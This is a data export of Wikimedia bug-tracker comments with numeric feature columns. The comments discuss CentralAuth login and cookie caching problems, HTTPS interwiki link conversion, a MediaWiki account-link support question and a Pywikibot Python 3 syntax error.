**Attached**: {F13112}",,,1394070832,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-2odqxzvilpkedkhitxfr,task_subcomment,,True,c3,1,True,,,-69,True,0.5,0.0,0.0,3.0,0.5,3.5,0.0,0.0,0.0,0.5,0.5,2.5,0.0,0.5,0.0,1.0,0.0,8.5,7.0,0.0,0.5,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,6.5,0.0,0.5,1.0,0.5,0.0,0.0,0.5,0.0,0.0,0.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,14.5,0.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,6.0,3.0,10.5,3.0,1.0,8.5,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,3.0,7.0,4.5,0.0,1.0,0.0,3.0,0.0,2.5,1.0,0.0,0.0,0.0,0.0,0.0,3.918918918918919,0.7364864864864865,"Created attachment 14753
login script for internal/external comparison

We definitely have an issue with the Caching. This script when run internally against the apache directly returns the correct Set-Cookie headers. When run externally, only the Session and GeoIP cookies are set.

Further, if you add a

-H 'Cookie: centralauth_Session=asdf; GeoIP=asdf'

to the final curl call, the correct cookies are returned. It doesn't matter what values they have, but when those 2 cookies are set, then all of the cookies come back through.

Since GeoIP is needed for the correct cookies to come back, I'll add ori in case this is related to the GeoIP cookie vcl.

**Attached**: {F13112}"
288149,New users not created on loginwiki in Labs,"Created attachment 14744
no active login error msg on test2wiki

**Attached**: {F13111}",,,1394048964,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-2odqxzvilpkedkhitxfr,task_subcomment,,True,c3,1,False,,,-70,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7142857142857144,0.8571428571428571,"Created attachment 14744
no active login error msg on test2wiki

**Attached**: {F13111}"
288145,New users not created on loginwiki in Labs,Unable to repro manually on test2wiki but see screen shot for evidence that it can happen.,,,1394048933,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-2odqxzvilpkedkhitxfr,task_subcomment,,True,c3,1,False,,,-70,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,24.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,6.0,24.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.411764705882353,1.0,Unable to repro manually on test2wiki but see screen shot for evidence that it can happen.
288143,New users not created on loginwiki in Labs,"I have a manual repro for the login issue, still not sure it's connected to the original report, and apologies for hijacking the BZ ticket

on http://en.wikipedia.beta.wmflabs.org

clear cache and cookies

* Enter username and password
* Click ""Log in "" button and immediately click ""Random article"" link

Get error message ""Central user log in/No active login attempt is in progress for your session.""

Repeat these steps in the same browser session and the second time get the error message: 

Central user log in/The token does not match with your session username.

Someone might be trying to log you in under a malicious account./If you are just trying to log in as another user, please log out first.",,,1394048538,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-2odqxzvilpkedkhitxfr,task_subcomment,,True,c3,1,False,,,-70,True,0.0,0.5,0.0,0.0,1.0,6.5,0.5,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.5,0.0,3.5,12.0,0.5,1.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.5,0.0,0.0,5.0,0.0,0.5,1.0,3.0,0.0,0.0,1.0,0.0,0.5,0.0,0.5,2.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,5.5,2.0,8.0,0.0,2.5,7.5,0.0,0.0,0.0,0.0,6.5,0.5,0.0,0.0,4.0,12.0,1.0,0.0,3.0,0.0,4.0,0.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,3.9371087636932707,0.7410993740219092,"I have a manual repro for the login issue, still not sure it's connected to the original report, and apologies for hijacking the BZ ticket

on URL

clear cache and cookies

* Enter username and password
* Click ""Log in "" button and immediately click ""Random article"" link

Get error message ""Central user log in/No active login attempt is in progress for your session.""

Repeat these steps in the same browser session and the second time get the error message: 

Central user log in/The token does not match with your session username.

Someone might be trying to log you in under a malicious account./If you are just trying to log in as another user, please log out first."
288141,New users not created on loginwiki in Labs,"Mentioned on IRC:  to have multiple login issues show up simultaneously on beta labs and test2wiki/mw.o within roughly a 12-hour period suggests a single root cause.

I could be wrong.",,,1394044095,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-2odqxzvilpkedkhitxfr,task_subcomment,,True,c3,1,False,,,-70,True,0.0,0.0,0.0,0.0,0.0,8.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,5.0,13.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,5.0,3.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,8.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,3.0,13.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.0,0.9230769230769231,"Mentioned on IRC:  to have multiple login issues show up simultaneously on beta labs and test2wiki/mw.o within roughly a 12-hour period suggests a single root cause.

I could be wrong."
288138,New users not created on loginwiki in Labs,"(In reply to Chris McMahon from comment #7)
> on mw.o just now: 
> 
> load a page, get a message saying Central login/You are centrally logged in.
> Reload the page to apply your user settings. 
> 
> Reload the page, notice re-occurs, I am still not logged in.

Again, this is a separate issue. Please file separate bugs for them.",,,1394039832,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-2odqxzvilpkedkhitxfr,task_subcomment,,True,c3,1,True,,,-70,True,0.0,0.0,0.0,0.0,0.0,5.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,13.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,28.0,0.0,0.0,5.0,0.0,0.0,0.0,3.0,3.0,3.0,3.0,0.0,3.0,10.0,15.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.358974358974359,0.6923076923076923,"(In reply to Chris McMahon from comment #7)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Again, this is a separate issue. Please file separate bugs for them."
288136,New users not created on loginwiki in Labs,"
on mw.o just now: 

load a page, get a message saying Central login/You are centrally logged in. Reload the page to apply your user settings. 

Reload the page, notice re-occurs, I am still not logged in.",,,1394039209,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-2odqxzvilpkedkhitxfr,task_subcomment,,True,c3,1,False,,,-70,True,0.0,0.0,0.0,4.0,2.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,10.0,10.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,6.0,2.0,0.0,2.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,10.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,6.0,10.0,4.0,0.0,0.0,0.0,6.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,3.4,0.76,"
on mw.o just now: 

load a page, get a message saying Central login/You are centrally logged in. Reload the page to apply your user settings. 

Reload the page, notice re-occurs, I am still not logged in."
288133,New users not created on loginwiki in Labs,"Created attachment 14743
central login problem

**Attached**: {F13110}",,,1394039137,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-2odqxzvilpkedkhitxfr,task_subcomment,,True,c3,1,False,,,-70,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.823529411764706,0.8235294117647058,"Created attachment 14743
central login problem

**Attached**: {F13110}"
288127,New users not created on loginwiki in Labs,"(In reply to Chris McMahon from comment #3)
> upping the importance here.  this seems to be a recent phenomena, if you
> want to pinpoint a time let me know

Please!

(In reply to Chris McMahon from comment #4)
> also, we seem to have the same issue on test2wiki (and presumably mw.o)
> 
> The problem started showing up yesterday afternoon SF time. 
> 
> FWIW, just before the automated test displays the ""No active login
> attempt... "" message, Firefox shows a message ""Transferring data from
> bits..."" and then ""Read bits...""
> 
> And, it seems to be intermittent.  Of seven automated tests that login, two
> (in the most recent run) Mar 5 incurred the ""No active login attempt...""
> message.

That's a different issue. That is memcache not working right. In the issue on this bug, loginwiki has the token and session, it's a problem with the cookie setting.",,,1394039077,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-2odqxzvilpkedkhitxfr,task_subcomment,,True,c3,1,True,,,-70,True,0.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,15.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,1.0,26.0,0.0,1.0,9.0,0.0,0.0,1.0,2.0,0.0,1.0,2.0,0.0,1.0,10.0,16.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,3.359550561797753,0.48314606741573035,"(In reply to Chris McMahon from comment #3)
QUOTE
QUOTE

Please!

(In reply to Chris McMahon from comment #4)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

That's a different issue. That is memcache not working right. In the issue on this bug, loginwiki has the token and session, it's a problem with the cookie setting."
288119,New users not created on loginwiki in Labs,"also, we seem to have the same issue on test2wiki (and presumably mw.o)

The problem started showing up yesterday afternoon SF time. 

FWIW, just before the automated test displays the ""No active login attempt... "" message, Firefox shows a message ""Transferring data from bits..."" and then ""Read bits...""

And, it seems to be intermittent.  Of seven automated tests that login, two (in the most recent run) Mar 5 incurred the ""No active login attempt..."" message.",,,1394034895,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-2odqxzvilpkedkhitxfr,task_subcomment,,True,c3,1,False,,,-70,True,0.0,0.0,0.0,0.0,0.0,4.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.5,1.0,3.5,6.0,0.0,1.5,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,3.5,1.0,1.0,0.0,0.0,1.5,0.0,0.0,0.0,1.5,0.0,0.5,0.0,0.0,1.0,0.0,1.0,0.0,14.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,4.5,1.0,8.5,0.0,2.5,6.0,0.0,0.0,0.0,0.0,1.5,0.0,3.5,0.0,1.5,6.0,3.0,0.0,6.5,0.0,1.5,0.0,1.0,0.5,0.0,1.5,0.0,1.0,0.0,3.833333333333333,0.8137254901960784,"also, we seem to have the same issue on test2wiki (and presumably mw.o)

The problem started showing up yesterday afternoon SF time. 

FWIW, just before the automated test displays the ""No active login attempt... "" message, Firefox shows a message ""Transferring data from bits..."" and then ""Read bits...""

And, it seems to be intermittent.  Of seven automated tests that login, two (in the most recent run) Mar 5 incurred the ""No active login attempt..."" message."
288111,New users not created on loginwiki in Labs,"upping the importance here.  this seems to be a recent phenomena, if you want to pinpoint a time let me know",,,1394030249,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-2odqxzvilpkedkhitxfr,task_subcomment,,True,c3,1,False,,,-70,True,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,12.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,4.0,0.0,4.0,0.0,17.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,4.0,4.0,0.0,0.0,0.0,3.6666666666666665,0.9166666666666666,"upping the importance here.  this seems to be a recent phenomena, if you want to pinpoint a time let me know"
288099,New users not created on loginwiki in Labs,This is currently also causing Selenium tests to fail which need to log in. e.g. https://saucelabs.com/jobs/5ca77278cb5e412c8e7a231561f6ba4d,,,1394026674,,PHID-USER-t4sxxglz6yyrgxeib43i,False,,,PHID-TASK-2odqxzvilpkedkhitxfr,task_subcomment,,True,c3,1,False,,,-70,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,18.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,18.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,18.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,4.0588235294117645,0.9411764705882353,This is currently also causing Selenium tests to fail which need to log in. e.g. URL
288089,New users not created on loginwiki in Labs,"Moving this to labs bugs, since I think this is a config issue with beta, not the extension.

This issue is not showing up in production (although hopefully not by some config that is going into production soon!)",,,1393983911,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-2odqxzvilpkedkhitxfr,task_subcomment,,True,c3,1,True,,,-70,True,2.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,11.0,18.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,2.0,0.0,16.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,4.0,7.0,7.0,4.0,0.0,13.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,18.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,7.0,0.0,0.0,0.0,3.911111111111111,0.8,"Moving this to labs bugs, since I think this is a config issue with beta, not the extension.

This issue is not showing up in production (although hopefully not by some config that is going into production soon!)"
63672,Automatic conversion of external links to interwiki links should work if the protocol is HTTPS as well as HTTP,"Intention:
Add a link at the English Wikipedia to the Spanish Wikipedia.

Steps to Reproduce:
1. Type a label/anchor.

2. Open the link inspector.

3. Paste in https://es.wikipedia.org/wiki/Idioma_inglés

4. Exit the link inspector and save changes.

Actual Results:  
It created an external link:  [https://es.wikipedia.org/wiki/Idioma_inglés Label].

Expected Results:  
It should have behaved the same as pasting the same link, but with HTTP:// at the start.  It should have created an interwiki link:  [[:es:Idioma_inglés|Label]].


Reproducible: Always

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=57019",Needs Triage,90.0,1392917220,1412905398.0,PHID-USER-uf3buojo4ceizjywvyn5,True,,False,PHID-TASK-susi53xefb4dytwwx2ss,task_description,resolved,True,c3,1,False,False,True,-71,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,4.0,0.0,0.5,1.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.5,0.0,18.0,0.0,1.0,6.5,0.0,0.0,0.0,0.0,4.5,0.0,0.5,0.0,2.0,4.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.5,0.0,0.0,5.0,3.4976217656012176,0.5998858447488584,"Intention:
Add a link at the English Wikipedia to the Spanish Wikipedia.

Steps to Reproduce:
1. Type a label/anchor.

2. Open the link inspector.

3. Paste in URL

4. Exit the link inspector and save changes.

Actual Results:  
It created an external link:  [URL Label].

Expected Results:  
It should have behaved the same as pasting the same link, but with HTTP:// at the start.  It should have created an interwiki link:  [[:es:Idioma_inglés|Label]].


Reproducible: Always

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
URL"
285339,Automatic conversion of external links to interwiki links should work if the protocol is HTTPS as well as HTTP,"Change 134160 had a related patch set uploaded by Jforrester:
Support protocol-relative URLs in the interwiki map.

https://gerrit.wikimedia.org/r/134160",,,1400545288,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-susi53xefb4dytwwx2ss,task_subcomment,,True,c3,1,False,,,-59,True,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,21.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.625,1.0,"Change 134160 had a related patch set uploaded by Jforrester:
Support protocol-relative URLs in the interwiki map.

GERRIT_URL"
285333,Automatic conversion of external links to interwiki links should work if the protocol is HTTPS as well as HTTP,"The conversion is done in Parsoid, not VE; moving there.",,,1397764131,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-susi53xefb4dytwwx2ss,task_subcomment,,True,c3,1,True,,,-63,True,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,23.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,3.6153846153846154,1.0,"The conversion is done in Parsoid, not VE; moving there."
285329,Automatic conversion of external links to interwiki links should work if the protocol is HTTPS as well as HTTP,"It would also be nice if this process:

1.  Paste a URL

2.  Press Command-K

turned  https://es.wikipedia.org/wiki/Idioma_inglés into [[:es:Idioma inglés]] or [[:es:Idioma inglés|Idioma inglés]].",,,1392925978,,PHID-USER-uf3buojo4ceizjywvyn5,True,,,PHID-TASK-susi53xefb4dytwwx2ss,task_subcomment,,True,c3,1,False,,,-71,True,0.0,0.0,0.0,0.0,0.0,6.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,10.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,19.0,2.0,2.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,4.0,8.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,17.0,2.8333333333333335,0.6458333333333334,"It would also be nice if this process:

1.  Paste a URL

2.  Press Command-K

turned  URL into [[:es:Idioma inglés]] or [[:es:Idioma inglés|Idioma inglés]]."
63479,How to separate Login and create Account options in Mediawiki 1.20.2 when ConfirmAccount  is enabled?,"**Author:** `sanjeetkumarit`

**Description:**
create account/login link combined

How to separate Login and create Account options in Mediawiki 1.20.2 when ConfirmAccount extension is enabled? Please give any patch or code soon.
Its already given $wgUseCombinedLoginLink= false; in DeafultSettings.php   Even though the link is Login/Create Account link is single. After Enabling the ConfirmAccount Extension in mediawiki 1.20.2   Please give some solution ASAP

--------------------------
**Version**: wmf-deployment
**Severity**: critical

**Attached**: {F13194}",Needs Triage,90.0,1392712140,1392722504.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-jkdtpquumkwa7uw2ongc,task_description,invalid,True,c3,1,False,False,True,-72,True,1.5,0.0,0.0,0.5,0.0,2.5,1.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,4.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,1.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.5,17.5,2.0,1.0,3.0,0.0,0.0,0.0,0.0,3.0,1.5,1.5,0.0,1.0,4.0,8.5,0.5,0.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,4.378289473684211,0.7515664160401003,"**Author:** CODE

**Description:**
create account/login link combined

How to separate Login and create Account options in Mediawiki 1.20.2 when ConfirmAccount extension is enabled? Please give any patch or code soon.
Its already given $wgUseCombinedLoginLink= false; in DeafultSettings.php   Even though the link is Login/Create Account link is single. After Enabling the ConfirmAccount Extension in mediawiki 1.20.2   Please give some solution ASAP

--------------------------
**Version**: wmf-deployment
**Severity**: critical

**Attached**: {F13194}"
289987,How to separate Login and create Account options in Mediawiki 1.20.2 when ConfirmAccount  is enabled?,"Hi Sanjeet. This does not sound like something is wrong in the code of MediaWiki (a so-called ""bug""), but instead like a support request (how to change settings, questions how to do something, etc.). As bugzilla.wikimedia.org is only for specific bug reports and enhancement requests, please use https://www.mediawiki.org/wiki/Project:Support_desk for support requests. Thanks!",,,1392722504,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-jkdtpquumkwa7uw2ongc,task_subcomment,,True,c3,1,True,,,-72,True,0.0,3.0,0.0,0.0,1.0,3.0,3.0,0.0,0.0,0.0,4.0,0.0,0.0,1.0,0.0,0.0,0.0,9.0,12.0,3.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,19.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,3.0,10.0,3.0,3.0,6.0,0.0,0.0,1.0,0.0,6.0,3.0,0.0,0.0,0.0,12.0,4.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,4.028985507246377,0.7246376811594203,"Hi Sanjeet. This does not sound like something is wrong in the code of MediaWiki (a so-called ""bug""), but instead like a support request (how to change settings, questions how to do something, etc.). As bugzilla.wikimedia.org is only for specific bug reports and enhancement requests, please use URL for support requests. Thanks!"
63467,Login Error with Python 3,"**Author:** `hassen.houssein`

**Description:**
Login Error

C:\Pywikipedia>login.py
Traceback (most recent call last):
  File ""C:\Pywikipedia\login.py"", line 59, in <module>
    import query
  File ""C:\Pywikipedia\query.py"", line 172
    except ValueError, error:
                     ^
SyntaxError: invalid syntax
C:\Pywikipedia>

I tried the clean_sandbox.py, but got this error

C:\Pywikipedia>clean_sandbox.py
Traceback (most recent call last):
  File ""C:\Pywikipedia\clean_sandbox.py"", line 48, in <module>
    import wikipedia as pywikibot
  File ""C:\Pywikipedia\wikipedia.py"", line 754
    raise IsRedirectPage, self._redirarg  # do not change unless you see https:/
/bugzilla.wikimedia.org/show_bug.cgi?id=57879
                        ^
SyntaxError: invalid syntax

C:\Pywikipedia>

--------------------------
**Version**: unspecified
**Severity**: major
**OS**: Windows 8
**Platform**: PC

**Attached**: {F13163}",Needs Triage,90.0,1392673980,1392675942.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-t4egbiggiv3dqu4aeiw6,task_description,declined,True,c3,1,False,False,True,-72,True,0.0,0.0,0.0,0.0,0.5,4.5,0.0,0.0,0.0,0.5,1.5,0.0,0.0,0.0,0.0,0.5,0.0,1.5,2.5,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,16.5,1.0,0.5,1.0,0.0,0.0,0.0,0.5,0.5,0.0,3.5,0.0,1.0,2.5,12.0,0.0,4.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,4.526595744680851,0.5691489361702127,"**Author:** CODE

**Description:**
Login Error

C:\Pywikipedia>login.py
Traceback (most recent call last):
  File ""C:\Pywikipedia\login.py"", line 59, in <module>
    import query
  File ""C:\Pywikipedia\query.py"", line 172
    except ValueError, error:
                     ^
SyntaxError: invalid syntax
C:\Pywikipedia>

I tried the clean_sandbox.py, but got this error

C:\Pywikipedia>clean_sandbox.py
Traceback (most recent call last):
  File ""C:\Pywikipedia\clean_sandbox.py"", line 48, in <module>
    import wikipedia as pywikibot
  File ""C:\Pywikipedia\wikipedia.py"", line 754
    raise IsRedirectPage, self._redirarg  # do not change unless you see https:/
/bugzilla.wikimedia.org/show_bug.cgi?id=57879
                        ^
SyntaxError: invalid syntax
